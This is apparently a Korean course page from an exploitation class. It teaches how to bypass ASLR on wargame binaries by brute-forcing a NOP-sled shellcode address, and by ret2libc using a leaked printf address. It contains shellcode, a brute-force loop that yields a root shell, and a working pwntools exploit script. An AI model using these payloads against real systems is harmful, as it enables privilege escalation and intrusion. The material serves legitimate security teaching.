Skip to content

Day9 Exploit 4

Contents

익스플로잇(4)

ASLR

  • ASLR : Address space layout randomization 의 약어로써 프로그램이 실행될 때 마다 주소값을 랜덤하게 바꿔서 익스플로잇을 어렵게 만드는 보안 기법.

ASLR 확인

cat /proc/sys/kernel/randomize_va_space 명령어를 통해서 ASLR 상태를 확인할 수 있다. ASLR 상태는 다음 3 가지로 정의된다.

  • 0 일 때, ASLR 이 비활성화 상태이다.

    • echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  • 1 일 때, ASLR 이 부분적으로 활성화된 상태이다. (스택과 라이브러리)

    • echo 1 | sudo tee /proc/sys/kernel/randomize_va_space
  • 2 일 때, ASLR 이 완전 활성화 상태이다. (스택과 라이브러리와 힙)

    • echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

이제 위 명령어를 통하여 ASLR 이 비활성화되어 있다면 ASLR2 단계로 만들어 완전 활성화 시킵시다.

ASLR 실험

  • 다음과 같은 매우 간단한 C 프로그램으로 ASLR 상태에 따라 스택에 저장된 변수의 주소가 어떻게 바뀌는지 확인할 수 있다.

    #include <stdio.h>
    
    int main(void) {
        int stack = 12;
        printf("stack value address : %p\n", &stack);
        return 0;
    }
    
  • ASLR 활성화 시 출력

    $ ./a.out
    stack value address : 0x7ffc61e8da54
    $ ./a.out
    stack value address : 0x7fff34c50614
    $ ./a.out
    stack value address : 0x7ffdf0a9baa4
    
  • ASLR 비활성화 시 출력

    $ ./a.out
    stack value address : 0x7ffc61e8da54
    $ ./a.out
    stack value address : 0x7ffc61e8da54
    $ ./a.out
    stack value address : 0x7ffc61e8da54
    

ASLR 우회

지금까지 bof1 부터 bof9 까지 풀어봤는데 모두 다 ASLR 이 비활성화된 환경이었다. 이제부터는 ASLR 이 활성화된 시스템에서 BOF 취약점으로 익스플로잇을 시도해보자.

bof10 bof11 풀어보기

  • bof10ASLR 이 걸린 상황에서의 bof8 과 같은 문제고 bof11ASLR 이 걸린 상황에서늬 bof9 문제와 같다.

  • bof10bof8 처럼 스택에 실행권한이 있어서(NX 비트가 걸려있지 않음) 환경변수에 쉘코드를 삽입하여 익스플로잇을 시도할 수 있다. 하지만 bof11bof9 처럼 스택에 실행권한이 제거되서 RTL 기법을 시도해야 한다.

bof10 설명

  1. bof10 을 실행시키는 환경은 NX 비트가 스택에 활성화 되어있지 않은 대신 ASLR 이 활성화 되어있다. 그리고 32 비트 용 프로그램(x86) 으로 컴파일 되어 있어서 주소값으로 4 바이트를 사용한다.

  2. buf 의 사이즈가 8 밖에 되지 않기 때문에 일단 쉘코드를 환경변수에 삽입해야 한다.

    export SHELLCODE=`python -c "print '\x90'*10 + '\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81'"`
    
  3. 그런데 ASLR 이 활성화되어 있기 때문에 SHELLCODE 환경변수의 주소값이 계속 변한다.

    $ ./bof10 chansol
    Hello chansol[0xffa8b5e8]!
    (env:SHELLCODE -> 0xffa8c834)
    $ ./bof10 chansol
    Hello chansol[0xff7fc9c8]!
    (env:SHELLCODE -> 0xff7fe834)
    $ ./bof10 chansol
    Hello chansol[0xffa28a98]!
    (env:SHELLCODE -> 0xffa29834)
    
  4. 그래서 쉘 코드를 SHELLCODE 환경변수에 저장해놓더라도 쉘 코드로 점프하기가 쉽지 않다. 지금 이 시점에서 NOP 코드를 10 바이트밖에 넣지 않았기 때문에 점프되면 쉘 코드를 실행시킬 수 있는 주소의 범위가 NOP 코드 10 바이트와 쉘 코드가 정확하게 시작되는 주소값을 합해서 11 바이트이다.

  5. 예를 들어서 SHELLCODE 환경변수가 0xff89d834 (32 비트용 프로그램이라 4 바이트 주소 사용) 라는 주소값에 저장되었다고 하면 0xff89d834 부터 0xff89d83e 까지 NOP 코드가 저장되어 있고 0xff89d83f 부터 쉘코드가 시작된다.

  6. SHELLCODE 환경변수가 0x00000000 부터 0xffffffff 까지 위치할 수 있다고 생각한다면, 쉘코드가 실행될 확률은 (11 / 0xffffffff) * 100 이라고 할 수 있다. 이 값은 0.000000256% 정도의 확률이다.

brute-force 로 ASLR 우회

  1. 아니, 그러면 NOP 를 많이 넣으면 넣을수록 이 쉘코드가 실행될 확률이 높아지는 게 아닐까.

    • NOP 코드 1000 바이트 삽입 시 쉘코드가 실행될 확률

      • (1001 / 0xffffffff) * 100 = 0.0000233%
    • NOP 코드 100,000 바이트 삽입 시 쉘코드가 실행될 확률

      • (100001 / 0xffffffff) * 100 = 0.0233%
  2. 그런데 ./bof10 을 계속 실행하면서 SHELLCODE 의 주소값을 관찰해보면 주소값이 0xff8----- 부터 0xfff----- 까지의 범위를 갖는다고 유추할 수 있다. 환경변수는 커널 코드 밑에 위치하고 환경변수 밑에는 바로 스택이 쌓이기 때문에 0x00000000 부터 0xffffffff 까지의 주소 영역을 가질 수는 없어 보인다. 그렇기 때문에 SHELLCODE 변수가 위치할 영역을 좀 더 작게 유추해보고 확률을 다시 계산해보자.

    • 0xff800000 부터 0xffffffff 의 영역의 길이

      • 0xffffffff - 0xff800000 = 0x7fffff
    • NOP 코드 1000 바이트 삽입 시 쉘코드가 실행될 확률

      • (1001 / 0x7fffff) * 100 = 0.0119%
    • NOP 코드 100,000 바이트 삽입 시 쉘코드가 실행될 확률

      • (100001 / 0x7fffff) * 100 = 1.192%
  3. 만약 NOP 코드를 10만 바이트, 즉 100 KB 를 삽입하였을 때 쉘코드가 실행될 확률은 약 1.2 % 까지 높아진다.

NOP 코드 최대 길이

  1. 그러면 환경변수에 NOP 코드를 어느정도까지 삽입할 수 있을까? Ubuntu 16.04 x64 환경에서 실험했을 때 **13만 바이트**까지 삽입할 수 있었다. 그러면 **13만 바이트**의 NOP 코드를 삽입할 경우 쉘코드가 실행될 확률은 다음과 같다.

    • NOP 코드 10,0000 바이트 삽입 시 쉘코드가 실행될 확률

      • (130001 / 0x7fffff) * 100 = 1.549%
  2. 1.5% 정도면 충분히 유의미한 확률이기 때문에 브루트 포스(brute-force) 공격이 가능하다.

brute-force exploit

  1. 먼저 SHELLCODE 환경변수를 다음과 같이 생성하자.

    export SHELLCODE=`python -c "print '\x90'*130000 + '\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81'"`
    
  2. 그리고 bufreturn address 까지의 거리를 계산하자. 결국 20 바이트라는 것을 알게 되는데, 이 20 바이트 이후에 SHELLCODE 환경변수의 주소값을 0xff8000000xffffffff 사이의 적당한 값으로 덮어쓰고 while 문을 사용해서 다음과 같이 계속 때려맞춰보자.

    while : ; do ; ./bof10 `python -c "print 'a'*20 + '\x36\x4c\xc6\xff'"` ; done
    
  3. 그러면 얼마간의 시간이 지난 후에 다음과 같이 1.5% 의 확률로 루트 쉘을 탈취할 수 있다.

    Hello aaaaaaaaaaaaaaaaaaaa6L�[0xffa601e8]!
    (env:SHELLCODE -> 0xffa60c37)
    Segmentation fault (core dumped)
    Hello aaaaaaaaaaaaaaaaaaaa6L�[0xff9af138]!
    (env:SHELLCODE -> 0xff9b0c37)
    Segmentation fault (core dumped)
    Hello aaaaaaaaaaaaaaaaaaaa6L�[0xffc633c8]!
    (env:SHELLCODE -> 0xffc64c37)
    # id
    uid=0(root) gid=1011(bof10) groups=1011(bof10)
    # cat bof11.pw
    

bof11 설명 (Memory leak)

  1. bof10 과는 달리 bof11 에서는 bof9 처럼 스택에 실행권한이 존재하지 않는다. 그래서 NOP 코드를 13만 바이트**나 넣어서 브루트 포싱하는 방법은 더 이상 통하지 않는다. 스택에 실행권한도 없고 **ASLR 도 활성화되어 있어서 RTL 기법도 어려울 것 같다. 하지만 메모리의 데이터를 유출시킬 수 있다는 조건이 있을 때 ASLR 이 활성화되어있어도 RTL 을 적용할 수 있다.

    • 실제로 블루투스 취약점 blueborne 의 힙 오버플로우 취약점 CVE-2017-0781 은 쉘을 탈취할 수 있는 RCE(Remote Command Execution) 취약점인데, 이 취약점을 익스플로잇 하기 위해서 ASLR 을 우회하기 위하여 CVE-2017-0785 취약점을 사용하여 메모리 데이터를 유출시켰다.
  2. 그래서 bof11 은 메모리 유출 취약점이 존재해서 printf 함수의 주소값을 유출 시킨다는 설정이다. 다음과 같이 bof11printf 함수의 주소값을 계속 유출 시키고 있고 ASLR 때문에 그 주소값이 계속 달라진다.

    $ ./bof11
    printf() address : 0x7f26ea000800
    abc
    Hello abc!
    $ ./bof11
    printf() address : 0x7f753d893800
    abc
    Hello abc!
    $ ./bof11
    printf() address : 0x7fb4c41f8800
    abc
    Hello abc!
    
  3. bof9 처럼 bof11 에서는 system 주소, /bin/sh 주소, pop rdi ; ret 주소가 필요하다. ASLR 때문에 각각의 주소값을 정확하게 알 수는 없으나 printf 함수의 주소값이 항상 유출된다는 조건이 있기 때문에 각각의 주소값과 printf 주소값과의 상대적 거리만 계산하면 ASLR 을 우회할 수 있다. 왜냐하면 libc 라이브러리 내부 함수끼리의 상대적 거리는 항상 똑같기 때문이다.

printf 와 system 함수와의 거리

  1. bof11 이 printf 의 주소값을 계속 유출 시키는데 printf 함수와 system 함수의 상대적 거리는 항상 동일하다.

    • (printf 의 주소값) + X = (system 함수의 주소값)
  2. 그렇기 때문에 위의 방정식에서 X 를 알 수 있다면 유출된 printf 함수의 주소값에 X 를 더하면 ASLR 이 주소값을 변경시키든지 말든지 항상 system 함수의 주소값을 구할 수 있다. X 는 직관적으로 다음과 같이 구할 수 있을 것이다.

    • X = (system 함수의 주소값) - (printf 의 주소값)
  3. 그리고 gdb 를 통해서 X 가 -66672 라는 것을 알 수 있다.

    pwndbg> p system - printf
    $1 = -66672
    

printf 와 /bin/sh 와의 거리

  1. 다음의 방정식에서 Y 의 값을 구할 수 있다면 유출된 print함수의 주소값에Y를 더하면/bin/sh구할 수 있다. 마찬가지로(printf 의 주소값)을 이항시켜서Y` 를 구할 수 있다.

    • (printf 의 주소값) + Y = (/bin/sh 의 주소값)

    • Y = (/bin/sh 의 주소값) - (printf 의 주소값)

gdb 를 통한 간단한 연산으로 Y1275223 라는 것을 알 수 있다.

```console
pwndbg> search /bin/sh
libc-2.23.so    0x7f836ff19d57 0x68732f6e69622f /* '/bin/sh' */
pwndbg> p printf
$9 = {<text variable8, no debug info>} 0x7f836fde2800 <__printf>
pwndbg> p/d 0x7f836ff19d57 - 0x7f836fde2800
$10 = 1275223
```

printf 와 "pop rdi ; ret" 와의 거리

  1. 먼저 pop rdi ; ret 의 가젯이 libc 의 어떤 오프셋에 있는지 계산한다. 그러면 그 오프셋과 libc 의 시작 주소값을 더한 후 printf 함수와의 거리를 구하면 printf 함수로부터 pop rdi ; ret 가젯이 어느정도 떨어져있는지 확실하게 알 수 있게 된다.

  2. 마찬가지로 printf 에 Z 를 더하면 pop rdi ; ret 주소값이 계산되는 Z 를 구해보자.

    (printf 의 주소값) + Z = ("pop rdi ; ret" 가젯의 주소값)

  3. 그러면 Z 는 다음과 같다.

    Z = ("pop rdi ; ret" 가젯의 주소값) - (printf 의 주소값)

"pop rdi ; ret" 의 주소값

  1. pop rdi ; ret 의 주소값은 이렇게 구할 수 있다.

    ("pop rdi ; ret" 가젯의 주소값) = (libc 의 베이스 주소값) + ("pop rdi ; ret" 의 오프셋)

  2. 먼저 다음과 같이 gdb 로 libc 의 시작 주소가 0x7f836fd8d000 라는 것을 확인했다.

    pwndbg> vmmap libc
    LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
        0x7f836fd8d000     0x7f836ff4d000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    
  3. 그리고 다음과 같이 ROPgadget 으로 오프셋을 찾을 수 있다.

    $ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep "pop rdi ; ret"
    0x0000000000021102 : pop rdi ; ret
    
  4. 결론적으로 pop rdi ; ret 의 주소값을 구할 수 있다.

    ("pop rdi ; ret" 가젯의 주소값) = (libc 의 베이스 주소값) + ("pop rdi ; ret" 의 오프셋) = 0x7f836fd8d000 + 0x0000000000021102 = 0x7f836fdae102

  5. 그러면 최종적으로 Z 를 계산해보자.

    pwndbg> p printf
    $14 = {<text variable, no debug info>} 0x7f836fde2800 <__printf>
    pwndbg> p/d 0x7f836fdae102 - 0x7f836fde2800
    $15 = -214782
    
  6. 이렇게 Z 가 -214782 라는 것을 알 수 있다.

buf 에서 return address 까지의 거리

  1. vuln 함수가 시작되었을 때 rsp 의 주소값을 확인하자. 이 주소값에 vuln 함수의 리턴 어드레스가 저장되어 있다.

    pwndbg> i r rsp
    rsp            0x7ffe25be74c8   0x7ffe25be74c8
    
  2. 그리고 gets 함수가 받는 인자를 확인해서 buf 의 주소값을 확인하고 리턴 주소값까지의 거리를 계산하자.

    pwndbg> p/d 0x7ffe25be74c8 - 0x7ffe25be74b0
    $18 = 24
    

ASLR 우회 페이로드

  1. bof11 은 printf 함수의 주소값이 유출된다는 설정을 가지고 있기 때문에 유출된 printf 함수의 주소값을 A 라고 하자. 그러면 쉘을 실행시키기 위한 페이로드는 다음과 같이 정해진다.
쓰레기 값 "pop rdi ; ret" 주소값 "/bin/sh" 주소값 system 주소값
24 바이트 8 바이트 8 바이트 8 바이트

POC 코드

참고/출처 : https://www.lazenca.net/display/TEC/02.RTL%28Return+to+Libc%29+-+x64

printf 주소값을 받은 후 system 함수와 /bin/sh 문자열의 주소값, "pop rdi ; ret" 과의 거리를 계산해서 주소값을 도출해야 하기 때문에 일반적인 쉘 상에서는 익스플로잇 하기가 어렵고, pwntool 이라는 파이썬 패키지를 사용해보자. pwn 이라는 용어는 소유하다는 뜻의 own 에서 파생된 은어로써 권한이 없는 것을 소유해내다 라는 의미이다.

pwntool

  • pwntool : 익스플로잇 코드 개발 전용 라이브러리로써 POC 코드, 익스플로잇 코드를 개발할 때 필수적으로 사용되는 라이브러리이다.

    • **POC 코드**에 필요한 pwntool 의 함수들

      • process(argv) : 익스플로잇 대상이 되는 실행파일을 실행하고 프로세스를 다룰 수 있도록 Processes 인스턴스를 반환한다.

      • recvuntil(delims) : delims 이 나올 때까지 데이터를 받아서 반환한다.

      • p64(number) : number64 비트 형식으로 패킹(packing)한다.

      • send(data) : data 를 프로세스에 입력한다.

  1. 이 함수들을 사용해서 익스플로잇을 시도해보자. recvuntil 함수로 'printf() address : ' 라는 문자열까지 데이터를 받은 후 '\n' 까지 데이터를 받으면 정확하게 printf 함수의 주소값을 반환 받을 수 있다.

    • system 함수 주소값 = printf 주소값 + X = A + (-66672)

    • "/bin/sh" 주소값 = printf 주소값 + Y = A + 1275223

    • "pop rdi ; ret" 주소값 = printf 주소값 + Z = A + (-214782)

  2. 그러면 그 주소값을 활용하여 페이로드를 제작한 후 send 함수로 페이로드를 보내서 익스플로잇을 시도한다. 쉘이 실행될 것이 예상되는 시점이기 때문에 interactive 함수로 프로세스에 입력 스트림과 출력 스트림을 연다.

    from pwn import *
    
    p = process('./bof11')
    
    p.recvuntil('printf() address : ')
    printf_addr = p.recvuntil('\n')
    printf_addr = int(printf_addr, 16)
    
    sys_addr = printf_addr + (-66672)
    binsh = printf_addr + (1275223)
    poprdi = printf_addr + (-214782)
    distance_to_returnAddr = 24
    
    exploit = "A" * distance_to_returnAddr
    exploit += p64(poprdi)
    exploit += p64(binsh)
    exploit += p64(sys_addr)
    p.send(exploit)
    
    p.interactive()
    

과제

HW.md 파일에 따라 과제를 하시면 됩니다.